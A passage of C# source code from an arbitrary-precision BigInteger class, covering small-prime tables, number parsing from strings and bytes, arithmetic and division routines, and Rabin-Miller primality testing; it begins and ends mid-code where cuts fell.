101, 103 }, new int[]{ 107, 109, 113, 127 }, new int[]{ 131, 137, 139, 149 }, new int[]{ 151, 157, 163, 167 }, new int[]{ 173, 179, 181, 191 }, new int[]{ 193, 197, 199, 211 }, new int[]{ 223, 227, 229 }, new int[]{ 233, 239, 241 }, new int[]{ 251, 257, 263 }, new int[]{ 269, 271, 277 }, new int[]{ 281, 283, 293 }, new int[]{ 307, 311, 313 }, new int[]{ 317, 331, 337 }, new int[]{ 347, 349, 353 }, new int[]{ 359, 367, 373 }, new int[]{ 379, 383, 389 }, new int[]{ 397, 401, 409 }, new int[]{ 419, 421, 431 }, new int[]{ 433, 439, 443 }, new int[]{ 449, 457, 461 }, new int[]{ 463, 467, 479 }, new int[]{ 487, 491, 499 }, new int[]{ 503, 509, 521 }, new int[]{ 523, 541, 547 }, new int[]{ 557, 563, 569 }, new int[]{ 571, 577, 587 }, new int[]{ 593, 599, 601 }, new int[]{ 607, 613, 617 }, new int[]{ 619, 631, 641 }, new int[]{ 643, 647, 653 }, new int[]{ 659, 661, 673 }, new int[]{ 677, 683, 691 }, new int[]{ 701, 709, 719 }, new int[]{ 727, 733, 739 }, new int[]{ 743, 751, 757 }, new int[]{ 761, 769, 773 }, new int[]{ 787, 797, 809 }, new int[]{ 811, 821, 823 }, new int[]{ 827, 829, 839 }, new int[]{ 853, 857, 859 }, new int[]{ 863, 877, 881 }, new int[]{ 883, 887, 907 }, new int[]{ 911, 919, 929 }, new int[]{ 937, 941, 947 }, new int[]{ 953, 967, 971 }, new int[]{ 977, 983, 991 }, new int[]{ 997, 1009, 1013 }, new int[]{ 1019, 1021, 1031 }, new int[]{ 1033, 1039, 1049 }, new int[]{ 1051, 1061, 1063 }, new int[]{ 1069, 1087, 1091 }, new int[]{ 1093, 1097, 1103 }, new int[]{ 1109, 1117, 1123 }, new int[]{ 1129, 1151, 1153 }, new int[]{ 1163, 1171, 1181 }, new int[]{ 1187, 1193, 1201 }, new int[]{ 1213, 1217, 1223 }, new int[]{ 1229, 1231, 1237 }, new int[]{ 1249, 1259, 1277 }, new int[]{ 1279, 1283, 1289 }, }; internal static readonly int[] primeProducts; private const long IMASK = 0xFFFFFFFFL; private const ulong UIMASK = 0xFFFFFFFFUL; private static readonly int[] ZeroMagnitude = new int[0]; private static readonly byte[] ZeroEncoding = new byte[0]; private static readonly BigInteger[] SMALL_CONSTANTS = new BigInteger[17]; public static readonly BigInteger Zero; public static readonly BigInteger One; public static readonly BigInteger Two; public static readonly BigInteger Three; public static readonly BigInteger Four; public static readonly BigInteger Ten; //private readonly static byte[] BitCountTable = //{ // 0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4, // 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, // 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, // 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, // 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, // 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, // 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, // 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, // 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, // 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, // 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, // 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, // 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, // 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, // 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, // 4, 5, 5, 6, 5, 6, 6, 7, 5, 6, 6, 7, 6, 7, 7, 8 //}; private readonly static byte[] BitLengthTable = { 0, 1, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8 }; // TODO Parse radix-2 64 bits at a time and radix-8 63 bits at a time private const int chunk2 = 1, chunk8 = 1, chunk10 = 19, chunk16 = 16; private static readonly BigInteger radix2, radix2E, radix8, radix8E, radix10, radix10E, radix16, radix16E; private static readonly SecureRandom RandomSource = new SecureRandom(); /* * These are the threshold bit-lengths (of an exponent) where we increase the window size. * They are calculated according to the expected savings in multiplications. * Some squares will also be saved on average, but we offset these against the extra storage costs. */ private static readonly int[] ExpWindowThresholds = { 7, 25, 81, 241, 673, 1793, 4609, Int32.MaxValue }; private const int BitsPerByte = 8; private const int BitsPerInt = 32; private const int BytesPerInt = 4; static BigInteger() { Zero = new BigInteger(0, ZeroMagnitude, false); Zero.nBits = 0; Zero.nBitLength = 0; SMALL_CONSTANTS[0] = Zero; for (uint i = 1; i < SMALL_CONSTANTS.Length; ++i) { SMALL_CONSTANTS[i] = CreateUValueOf(i); } One = SMALL_CONSTANTS[1]; Two = SMALL_CONSTANTS[2]; Three = SMALL_CONSTANTS[3]; Four = SMALL_CONSTANTS[4]; Ten = SMALL_CONSTANTS[10]; radix2 = ValueOf(2); radix2E = radix2.Pow(chunk2); radix8 = ValueOf(8); radix8E = radix8.Pow(chunk8); radix10 = ValueOf(10); radix10E = radix10.Pow(chunk10); radix16 = ValueOf(16); radix16E = radix16.Pow(chunk16); primeProducts = new int[primeLists.Length]; for (int i = 0; i < primeLists.Length; ++i) { int[] primeList = primeLists[i]; int product = primeList[0]; for (int j = 1; j < primeList.Length; ++j) { product *= primeList[j]; } primeProducts[i] = product; } } private int[] magnitude; // array of ints with [0] being the most significant private int sign; // -1 means -ve; +1 means +ve; 0 means 0; private int nBits = -1; // cache BitCount() value private int nBitLength = -1; // cache BitLength() value private int mQuote = 0; // -m^(-1) mod b, b = 2^32 (see Montgomery mult.), 0 when uninitialised private static int GetByteLength( int nBits) { return (nBits + BitsPerByte - 1) / BitsPerByte; } public static BigInteger Arbitrary(int sizeInBits) { return new BigInteger(sizeInBits, RandomSource); } private BigInteger( int signum, int[] mag, bool checkMag) { if (checkMag) { int i = 0; while (i < mag.Length && mag[i] == 0) { ++i; } if (i == mag.Length) { this.sign = 0; this.magnitude = ZeroMagnitude; } else { this.sign = signum; if (i == 0) { this.magnitude = mag; } else { // strip leading 0 words this.magnitude = new int[mag.Length - i]; Array.Copy(mag, i, this.magnitude, 0, this.magnitude.Length); } } } else { this.sign = signum; this.magnitude = mag; } } public BigInteger( string value) : this(value, 10) { } public BigInteger( string str, int radix) { if (str.Length == 0) throw new FormatException("Zero length BigInteger"); NumberStyles style; int chunk; BigInteger r; BigInteger rE; switch (radix) { case 2: // Is there anyway to restrict to binary digits? style = NumberStyles.Integer; chunk = chunk2; r = radix2; rE = radix2E; break; case 8: // Is there anyway to restrict to octal digits? style = NumberStyles.Integer; chunk = chunk8; r = radix8; rE = radix8E; break; case 10: // This style seems to handle spaces and minus sign already (our processing redundant?) style = NumberStyles.Integer; chunk = chunk10; r = radix10; rE = radix10E; break; case 16: // TODO Should this be HexNumber? style = NumberStyles.AllowHexSpecifier; chunk = chunk16; r = radix16; rE = radix16E; break; default: throw new FormatException("Only bases 2, 8, 10, or 16 allowed"); } int index = 0; sign = 1; if (str[0] == '-') { if (str.Length == 1) throw new FormatException("Zero length BigInteger"); sign = -1; index = 1; } // strip leading zeros from the string str while (index < str.Length && Int32.Parse(str[index].ToString(), style) == 0) { index++; } if (index >= str.Length) { // zero value - we're done sign = 0; magnitude = ZeroMagnitude; return; } ////// // could we work out the max number of ints required to store // str.Length digits in the given base, then allocate that // storage in one hit?, then Generate the magnitude in one hit too? ////// BigInteger b = Zero; int next = index + chunk; if (next <= str.Length) { do { string s = str.Substring(index, chunk); ulong i = ulong.Parse(s, style); BigInteger bi = CreateUValueOf(i); switch (radix) { case 2: // TODO Need this because we are parsing in radix 10 above if (i >= 2) throw new FormatException("Bad character in radix 2 string: " + s); // TODO Parse 64 bits at a time b = b.ShiftLeft(1); break; case 8: // TODO Need this because we are parsing in radix 10 above if (i >= 8) throw new FormatException("Bad character in radix 8 string: " + s); // TODO Parse 63 bits at a time b = b.ShiftLeft(3); break; case 16: b = b.ShiftLeft(64); break; default: b = b.Multiply(rE); break; } b = b.Add(bi); index = next; next += chunk; } while (next <= str.Length); } if (index < str.Length) { string s = str.Substring(index); ulong i = ulong.Parse(s, style); BigInteger bi = CreateUValueOf(i); if (b.sign > 0) { if (radix == 2) { // NB: Can't reach here since we are parsing one char at a time Debug.Assert(false); // TODO Parse all bits at once // b = b.ShiftLeft(s.Length); } else if (radix == 8) { // NB: Can't reach here since we are parsing one char at a time Debug.Assert(false); // TODO Parse all bits at once // b = b.ShiftLeft(s.Length * 3); } else if (radix == 16) { b = b.ShiftLeft(s.Length << 2); } else { b = b.Multiply(r.Pow(s.Length)); } b = b.Add(bi); } else { b = bi; } } // Note: This is the previous (slower) algorithm // while (index < value.Length) // { // char c = value[index]; // string s = c.ToString(); // int i = Int32.Parse(s, style); // // b = b.Multiply(r).Add(ValueOf(i)); // index++; // } magnitude = b.magnitude; } public BigInteger( byte[] bytes) : this(bytes, 0, bytes.Length) { } public BigInteger( byte[] bytes, int offset, int length) { if (length == 0) throw new FormatException("Zero length BigInteger"); // TODO Move this processing into MakeMagnitude (provide sign argument) if ((sbyte)bytes[offset] < 0) { this.sign = -1; int end = offset + length; int iBval; // strip leading sign bytes for (iBval = offset; iBval < end && ((sbyte)bytes[iBval] == -1); iBval++) { } if (iBval >= end) { this.magnitude = One.magnitude; } else { int numBytes = end - iBval; byte[] inverse = new byte[numBytes]; int index = 0; while (index < numBytes) { inverse[index++] = (byte)~bytes[iBval++]; } Debug.Assert(iBval == end); while (inverse[--index] == byte.MaxValue) { inverse[index] = byte.MinValue; } inverse[index]++; this.magnitude = MakeMagnitude(inverse, 0, inverse.Length); } } else { // strip leading zero bytes and return magnitude bytes this.magnitude = MakeMagnitude(bytes, offset, length); this.sign = this.magnitude.Length > 0 ? 1 : 0; } } private static int[] MakeMagnitude( byte[] bytes, int offset, int length) { int end = offset + length; // strip leading zeros int firstSignificant; for (firstSignificant = offset; firstSignificant < end && bytes[firstSignificant] == 0; firstSignificant++) { } if (firstSignificant >= end) { return ZeroMagnitude; } int nInts = (end - firstSignificant + 3) / BytesPerInt; int bCount = (end - firstSignificant) % BytesPerInt; if (bCount == 0) { bCount = BytesPerInt; } if (nInts < 1) { return ZeroMagnitude; } int[] mag = new int[nInts]; int v = 0; int magnitudeIndex = 0; for (int i = firstSignificant; i < end; ++i) { v <<= 8; v |= bytes[i] & 0xff; bCount--; if (bCount <= 0) { mag[magnitudeIndex] = v; magnitudeIndex++; bCount = BytesPerInt; v = 0; } } if (magnitudeIndex < mag.Length) { mag[magnitudeIndex] = v; } return mag; } public BigInteger( int sign, byte[] bytes) : this(sign, bytes, 0, bytes.Length) { } public BigInteger( int sign, byte[] bytes, int offset, int length) { if (sign < -1 || sign > 1) throw new FormatException("Invalid sign value"); if (sign == 0) { this.sign = 0; this.magnitude = ZeroMagnitude; } else { // copy bytes this.magnitude = MakeMagnitude(bytes, offset, length); this.sign = this.magnitude.Length < 1 ? 0 : sign; } } public BigInteger( int sizeInBits, Random random) { if (sizeInBits < 0) throw new ArgumentException("sizeInBits must be non-negative"); this.nBits = -1; this.nBitLength = -1; if (sizeInBits == 0) { this.sign = 0; this.magnitude = ZeroMagnitude; return; } int nBytes = GetByteLength(sizeInBits); byte[] b = new byte[nBytes]; random.NextBytes(b); // strip off any excess bits in the MSB int xBits = BitsPerByte * nBytes - sizeInBits; b[0] &= (byte)(255U >> xBits); this.magnitude = MakeMagnitude(b, 0, b.Length); this.sign = this.magnitude.Length < 1 ? 0 : 1; } public BigInteger( int bitLength, int certainty, Random random) { if (bitLength < 2) throw new ArithmeticException("bitLength < 2"); this.sign = 1; this.nBitLength = bitLength; if (bitLength == 2) { this.magnitude = random.Next(2) == 0 ? Two.magnitude : Three.magnitude; return; } int nBytes = GetByteLength(bitLength); byte[] b = new byte[nBytes]; int xBits = BitsPerByte * nBytes - bitLength; byte mask = (byte)(255U >> xBits); byte lead = (byte)(1 << (7 - xBits)); for (; ; ) { random.NextBytes(b); // strip off any excess bits in the MSB b[0] &= mask; // ensure the leading bit is 1 (to meet the strength requirement) b[0] |= lead; // ensure the trailing bit is 1 (i.e. must be odd) b[nBytes - 1] |= 1; this.magnitude = MakeMagnitude(b, 0, b.Length); this.nBits = -1; this.mQuote = 0; if (certainty < 1) break; if (CheckProbablePrime(certainty, random, true)) break; for (int j = 1; j < (magnitude.Length - 1); ++j) { this.magnitude[j] ^= random.Next(); if (CheckProbablePrime(certainty, random, true)) return; } } } public BigInteger Abs() { return sign >= 0 ? this : Negate(); } /** * return a = a + b - b preserved. */ private static int[] AddMagnitudes( int[] a, int[] b) { int tI = a.Length - 1; int vI = b.Length - 1; long m = 0; while (vI >= 0) { m += ((long)(uint)a[tI] + (long)(uint)b[vI--]); a[tI--] = (int)m; m = (long)((ulong)m >> 32); } if (m != 0) { while (tI >= 0 && ++a[tI--] == 0) { } } return a; } public BigInteger Add( BigInteger value) { if (this.sign == 0) return value; if (this.sign != value.sign) { if (value.sign == 0) return this; if (value.sign < 0) return Subtract(value.Negate()); return value.Subtract(Negate()); } return AddToMagnitude(value.magnitude); } private BigInteger AddToMagnitude( int[] magToAdd) { int[] big, small; if (this.magnitude.Length < magToAdd.Length) { big = magToAdd; small = this.magnitude; } else { big = this.magnitude; small = magToAdd; } // Conservatively avoid over-allocation when no overflow possible uint limit = uint.MaxValue; if (big.Length == small.Length) limit -= (uint)small[0]; bool possibleOverflow = (uint)big[0] >= limit; int[] bigCopy; if (possibleOverflow) { bigCopy = new int[big.Length + 1]; big.CopyTo(bigCopy, 1); } else { bigCopy = (int[])big.Clone(); } bigCopy = AddMagnitudes(bigCopy, small); return new BigInteger(this.sign, bigCopy, possibleOverflow); } public BigInteger And( BigInteger value) { if (this.sign == 0 || value.sign == 0) { return Zero; } int[] aMag = this.sign > 0 ? this.magnitude : Add(One).magnitude; int[] bMag = value.sign > 0 ? value.magnitude : value.Add(One).magnitude; bool resultNeg = sign < 0 && value.sign < 0; int resultLength = System.Math.Max(aMag.Length, bMag.Length); int[] resultMag = new int[resultLength]; int aStart = resultMag.Length - aMag.Length; int bStart = resultMag.Length - bMag.Length; for (int i = 0; i < resultMag.Length; ++i) { int aWord = i >= aStart ? aMag[i - aStart] : 0; int bWord = i >= bStart ? bMag[i - bStart] : 0; if (this.sign < 0) { aWord = ~aWord; } if (value.sign < 0) { bWord = ~bWord; } resultMag[i] = aWord & bWord; if (resultNeg) { resultMag[i] = ~resultMag[i]; } } BigInteger result = new BigInteger(1, resultMag, true); // TODO Optimise this case if (resultNeg) { result = result.Not(); } return result; } public BigInteger AndNot( BigInteger val) { return And(val.Not()); } public int BitCount { get { if (nBits == -1) { if (sign < 0) { // TODO Optimise this case nBits = Not().BitCount; } else { int sum = 0; for (int i = 0; i < magnitude.Length; ++i) { sum += BitCnt(magnitude[i]); } nBits = sum; } } return nBits; } } public static int BitCnt(int i) { uint u = (uint)i; u = u - ((u >> 1) & 0x55555555); u = (u & 0x33333333) + ((u >> 2) & 0x33333333); u = (u + (u >> 4)) & 0x0f0f0f0f; u += (u >> 8); u += (u >> 16); u &= 0x3f; return (int)u; } private static int CalcBitLength(int sign, int indx, int[] mag) { for (; ; ) { if (indx >= mag.Length) return 0; if (mag[indx] != 0) break; ++indx; } // bit length for everything after the first int int bitLength = 32 * ((mag.Length - indx) - 1); // and determine bitlength of first int int firstMag = mag[indx]; bitLength += BitLen(firstMag); // Check for negative powers of two if (sign < 0 && ((firstMag & -firstMag) == firstMag)) { do { if (++indx >= mag.Length) { --bitLength; break; } } while (mag[indx] == 0); } return bitLength; } public int BitLength { get { if (nBitLength == -1) { nBitLength = sign == 0 ? 0 : CalcBitLength(sign, 0, magnitude); } return nBitLength; } } // // BitLen(value) is the number of bits in value. // internal static int BitLen(int w) { uint v = (uint)w; uint t = v >> 24; if (t != 0) return 24 + BitLengthTable[t]; t = v >> 16; if (t != 0) return 16 + BitLengthTable[t]; t = v >> 8; if (t != 0) return 8 + BitLengthTable[t]; return BitLengthTable[v]; } private bool QuickPow2Check() { return sign > 0 && nBits == 1; } public int CompareTo( object obj) { return CompareTo((BigInteger)obj); } /** * unsigned comparison on two arrays - note the arrays may * start with leading zeros. */ private static int CompareTo( int xIndx, int[] x, int yIndx, int[] y) { while (xIndx != x.Length && x[xIndx] == 0) { xIndx++; } while (yIndx != y.Length && y[yIndx] == 0) { yIndx++; } return CompareNoLeadingZeroes(xIndx, x, yIndx, y); } private static int CompareNoLeadingZeroes( int xIndx, int[] x, int yIndx, int[] y) { int diff = (x.Length - y.Length) - (xIndx - yIndx); if (diff != 0) { return diff < 0 ? -1 : 1; } // lengths of magnitudes the same, test the magnitude values while (xIndx < x.Length) { uint v1 = (uint)x[xIndx++]; uint v2 = (uint)y[yIndx++]; if (v1 != v2) return v1 < v2 ? -1 : 1; } return 0; } public int CompareTo( BigInteger value) { return sign < value.sign ? -1 : sign > value.sign ? 1 : sign == 0 ? 0 : sign * CompareNoLeadingZeroes(0, magnitude, 0, value.magnitude); } /** * return z = x / y - done in place (z value preserved, x contains the * remainder) */ private int[] Divide( int[] x, int[] y) { int xStart = 0; while (xStart < x.Length && x[xStart] == 0) { ++xStart; } int yStart = 0; while (yStart < y.Length && y[yStart] == 0) { ++yStart; } Debug.Assert(yStart < y.Length); int xyCmp = CompareNoLeadingZeroes(xStart, x, yStart, y); int[] count; if (xyCmp > 0) { int yBitLength = CalcBitLength(1, yStart, y); int xBitLength = CalcBitLength(1, xStart, x); int shift = xBitLength - yBitLength; int[] iCount; int iCountStart = 0; int[] c; int cStart = 0; int cBitLength = yBitLength; if (shift > 0) { // iCount = ShiftLeft(One.magnitude, shift); iCount = new int[(shift >> 5) + 1]; iCount[0] = 1 << (shift % 32); c = ShiftLeft(y, shift); cBitLength += shift; } else { iCount = new int[] { 1 }; int len = y.Length - yStart; c = new int[len]; Array.Copy(y, yStart, c, 0, len); } count = new int[iCount.Length]; for (; ; ) { if (cBitLength < xBitLength || CompareNoLeadingZeroes(xStart, x, cStart, c) >= 0) { Subtract(xStart, x, cStart, c); AddMagnitudes(count, iCount); while (x[xStart] == 0) { if (++xStart == x.Length) return count; } //xBitLength = CalcBitLength(xStart, x); xBitLength = 32 * (x.Length - xStart - 1) + BitLen(x[xStart]); if (xBitLength <= yBitLength) { if (xBitLength < yBitLength) return count; xyCmp = CompareNoLeadingZeroes(xStart, x, yStart, y); if (xyCmp <= 0) break; } } shift = cBitLength - xBitLength; // NB: The case where c[cStart] is 1-bit is harmless if (shift == 1) { uint firstC = (uint)c[cStart] >> 1; uint firstX = (uint)x[xStart]; if (firstC > firstX) ++shift; } if (shift < 2) { ShiftRightOneInPlace(cStart, c); --cBitLength; ShiftRightOneInPlace(iCountStart, iCount); } else { ShiftRightInPlace(cStart, c, shift); cBitLength -= shift; ShiftRightInPlace(iCountStart, iCount, shift); } //cStart = c.Length - ((cBitLength + 31) / 32); while (c[cStart] == 0) { ++cStart; } while (iCount[iCountStart] == 0) { ++iCountStart; } } } else { count = new int[1]; } if (xyCmp == 0) { AddMagnitudes(count, One.magnitude); Array.Clear(x, xStart, x.Length - xStart); } return count; } public BigInteger Divide( BigInteger val) { if (val.sign == 0) throw new ArithmeticException("Division by zero error"); if (sign == 0) return Zero; if (val.QuickPow2Check()) // val is power of two { BigInteger result = this.Abs().ShiftRight(val.Abs().BitLength - 1); return val.sign == this.sign ? result : result.Negate(); } int[] mag = (int[])this.magnitude.Clone(); return new BigInteger(this.sign * val.sign, Divide(mag, val.magnitude), true); } public BigInteger[] DivideAndRemainder( BigInteger val) { if (val.sign == 0) throw new ArithmeticException("Division by zero error"); BigInteger[] biggies = new BigInteger[2]; if (sign == 0) { biggies[0] = Zero; biggies[1] = Zero; } else if (val.QuickPow2Check()) // val is power of two { int e = val.Abs().BitLength - 1; BigInteger quotient = this.Abs().ShiftRight(e); int[] remainder = this.LastNBits(e); biggies[0] = val.sign == this.sign ? quotient : quotient.Negate(); biggies[1] = new BigInteger(this.sign, remainder, true); } else { int[] remainder = (int[])this.magnitude.Clone(); int[] quotient = Divide(remainder, val.magnitude); biggies[0] = new BigInteger(this.sign * val.sign, quotient, true); biggies[1] = new BigInteger(this.sign, remainder, true); } return biggies; } public override bool Equals( object obj) { if (obj == this) return true; BigInteger biggie = obj as BigInteger; if (biggie == null) return false; return sign == biggie.sign && IsEqualMagnitude(biggie); } private bool IsEqualMagnitude(BigInteger x) { int[] xMag = x.magnitude; if (magnitude.Length != x.magnitude.Length) return false; for (int i = 0; i < magnitude.Length; i++) { if (magnitude[i] != x.magnitude[i]) return false; } return true; } public BigInteger Gcd( BigInteger value) { if (value.sign == 0) return Abs(); if (sign == 0) return value.Abs(); BigInteger r; BigInteger u = this; BigInteger v = value; while (v.sign != 0) { r = u.Mod(v); u = v; v = r; } return u; } public override int GetHashCode() { int hc = magnitude.Length; if (magnitude.Length > 0) { hc ^= magnitude[0]; if (magnitude.Length > 1) { hc ^= magnitude[magnitude.Length - 1]; } } return sign < 0 ? ~hc : hc; } // TODO Make public? private BigInteger Inc() { if (this.sign == 0) return One; if (this.sign < 0) return new BigInteger(-1, doSubBigLil(this.magnitude, One.magnitude), true); return AddToMagnitude(One.magnitude); } public int IntValue { get { if (sign == 0) return 0; int n = magnitude.Length; int v = magnitude[n - 1]; return sign < 0 ? -v : v; } } public int IntValueExact { get { if (BitLength > 31) throw new ArithmeticException("BigInteger out of int range"); return IntValue; } } /** * return whether or not a BigInteger is probably prime with a * probability of 1 - (1/2)**certainty. *

    From Knuth Vol 2, pg 395.

    */ public bool IsProbablePrime(int certainty) { return IsProbablePrime(certainty, false); } internal bool IsProbablePrime(int certainty, bool randomlySelected) { if (certainty <= 0) return true; BigInteger n = Abs(); if (!n.TestBit(0)) return n.Equals(Two); if (n.Equals(One)) return false; return n.CheckProbablePrime(certainty, RandomSource, randomlySelected); } private bool CheckProbablePrime(int certainty, Random random, bool randomlySelected) { Debug.Assert(certainty > 0); Debug.Assert(CompareTo(Two) > 0); Debug.Assert(TestBit(0)); // Try to reduce the penalty for really small numbers int numLists = System.Math.Min(BitLength - 1, primeLists.Length); for (int i = 0; i < numLists; ++i) { int test = Remainder(primeProducts[i]); int[] primeList = primeLists[i]; for (int j = 0; j < primeList.Length; ++j) { int prime = primeList[j]; int qRem = test % prime; if (qRem == 0) { // We may find small numbers in the list return BitLength < 16 && IntValue == prime; } } } // TODO Special case for < 10^16 (RabinMiller fixed list) // if (BitLength < 30) // { // RabinMiller against 2, 3, 5, 7, 11, 13, 23 is sufficient // } // TODO Is it worth trying to create a hybrid of these two? return RabinMillerTest(certainty, random, randomlySelected); // return SolovayStrassenTest(certainty, random); // bool rbTest = RabinMillerTest(certainty, random); // bool ssTest = SolovayStrassenTest(certainty, random); // // Debug.Assert(rbTest == ssTest); // // return rbTest; } public bool RabinMillerTest(int certainty, Random random) { return RabinMillerTest(certainty, random, false); } internal bool RabinMillerTest(int certainty, Random random, bool randomlySelected) { int bits = BitLength; Debug.Assert(certainty > 0); Debug.Assert(bits > 2); Debug.Assert(TestBit(0)); int iterations = ((certainty - 1) / 2) + 1; if (randomlySelected) { int itersFor100Cert = bits >= 1024 ? 4 : bits >= 512 ? 8 : bits >= 256 ? 16 : 50; if (certainty < 100) { iterations = System.Math.Min(itersFor100Cert, iterations); } else { iterations -= 50; iterations += itersFor100Cert; } } // let n = 1 + d . 2^s BigInteger n = this; int s = n.GetLowestSetBitMaskFirst(-1 << 1); Debug.Assert(s >= 1); BigInteger r = n.ShiftRight(s); // NOTE: Avoid conversion to/from Montgomery form and check for R/-R as result instead BigInteger montRadix = One.ShiftLeft(32 * n.magnitude.Length).Remainder(n); BigInteger minusMontRadix = n.Subtract(montRadix); do { BigInteger a; do { a = new BigInteger(n.BitLength, random); } while (a.sign == 0 || a.CompareTo(n) >= 0 || a.IsEqualMagnitude(montRadix) || a.IsEqualMagnitude(minusMontRadix)); BigInteger y = ModPowMonty(a, r, n, false); if (!y.Equals(montRadix)) { int j = 0; while (!y.Equals(minusMontRadix)) { if (++j == s) return false; y = ModPowMonty(y, Two, n, false); if (y.Equals(montRadix)) return false; } } } while (--iterations > 0); return true; } // private bool SolovayStrassenTest( // int certainty, // Random random) // { // Debug.Assert(certainty > 0); // Debug.Assert(CompareTo(Two) > 0); // Debug.Assert(TestBit(0)); // // BigInteger n = this; // BigInteger nMinusOne = n.Subtract(One); // BigInteger e = nMinusOne.ShiftRight(1); // // do // { // BigInteger a; // do // { // a = new BigInteger(nBitLength, random); // } // // NB: Spec says 0 < x < n, but 1 is trivial // while (a.CompareTo(One) <= 0 || a.CompareTo(n) >= 0); // // // // TODO Check this is redundant given the way Jacobi() works? //// if (!a.Gcd(n).Equals(One)) //// return false; // // int x = Jacobi(a, n); // // if (x == 0) // return false; // // BigInteger check = a.ModPow(e, n); // // if (x == 1 && !check.Equals(One)) // return false; // // if (x == -1 && !check.Equals(nMinusOne)) // return false; // // --certainty; // } // while (certainty > 0); // // return true; // } // // private static int Jacobi( // BigInteger a, // BigInteger b) // { // Debug.Assert(a.sign >= 0); // Debug.Assert(b.sign > 0); // Debug.Assert(b.TestBit(0)); // Debug.Assert(a.CompareTo(b) < 0); // // int totalS = 1; // for (;;) // { // if (a.sign == 0) // return 0; // // if (a.Equals(One)) // break; // // int e = a.GetLowestSetBit(); // // int bLsw = b.magnitude[b.magnitude.Length - 1]; // if ((e & 1) != 0 && ((bLsw & 7) == 3 || (bLsw & 7) == 5)) // totalS = -totalS; // // // TODO Confirm this is faster than later a1.Equals(One) test // if (a.BitLength == e + 1) // break; // BigInteger a1 = a.ShiftRight(e); //// if (a1.Equals(One)) //// break; // // int a1Lsw = a1.magnitude[a1.magnitude.Length - 1]; // if ((bLsw & 3) == 3 && (a1Lsw & 3) == 3) // totalS = -totalS; // //// a = b.Mod(a1); // a = b.Remainder(a1); // b = a1; // } // return totalS; // } public long LongValue { get { if (sign == 0) return 0; int n = magnitude.Length; long v = magnitude[n - 1] & IMASK; if (n > 1) { v |= (magnitude[n - 2] & IMASK) << 32; } return sign < 0 ? -v : v; } } public long LongValueExact { get { if (BitLength > 63) throw new ArithmeticException("BigInteger out of long range"); return LongValue; } } public BigInteger Max( BigInteger value) { return CompareTo(value) > 0 ? this : value; } public BigInteger Min( BigInteger value) { return CompareTo(value) < 0 ? this : value; } public BigInteger Mod( BigInteger m) { if (m.sign < 1) throw new ArithmeticException("Modulus must be positive"); BigInteger biggie = Remainder(m); return (biggie.sign >= 0 ? biggie : biggie.Add(m)); } public BigInteger ModInverse( BigInteger m) { if (m.sign < 1) throw new ArithmeticException("Modulus must be positive"); // TODO Too slow at the moment // // "Fast Key Exchange with Elliptic Curve Systems" R.Schoeppel // if (m.TestBit(0)) // { // //The Almost Inverse Algorithm // int k = 0; // BigInteger B = One, C = Zero, F = this, G = m, tmp; // // for (;;) // { // // While F is even, do F=F/u, C=C*u, k=k+1. // int zeroes = F.GetLowestSetBit(); // if (zeroes > 0) // { // F = F.ShiftRight(zeroes); // C = C.ShiftLeft(zeroes); // k += zeroes; // } // // // If F = 1, then return B,k. // if (F.Equals(One)) // { // BigInteger half = m.Add(One).ShiftRight(1); // BigInteger halfK = half.ModPow(BigInteger.ValueOf(k), m); // return B.Multiply(halfK).Mod(m); // } // // if (F.CompareTo(G) < 0) // { // tmp = G; G = F; F = tmp; // tmp = B; B = C; C = tmp; // } // // F = F.Add(G); // B = B.Add(C); // } // } if (m.QuickPow2Check()) { return ModInversePow2(m); } BigInteger d = this.Remainder(m); BigInteger x; BigInteger gcd = ExtEuclid(d, m, out x); if (!gcd.Equals(One)) throw new ArithmeticException("Numbers not relatively prime."); if (x.sign < 0) { x = x.Add(m); } return x; } private BigInteger ModInversePow2(BigInteger m) { Debug.Assert(m.SignValue > 0); 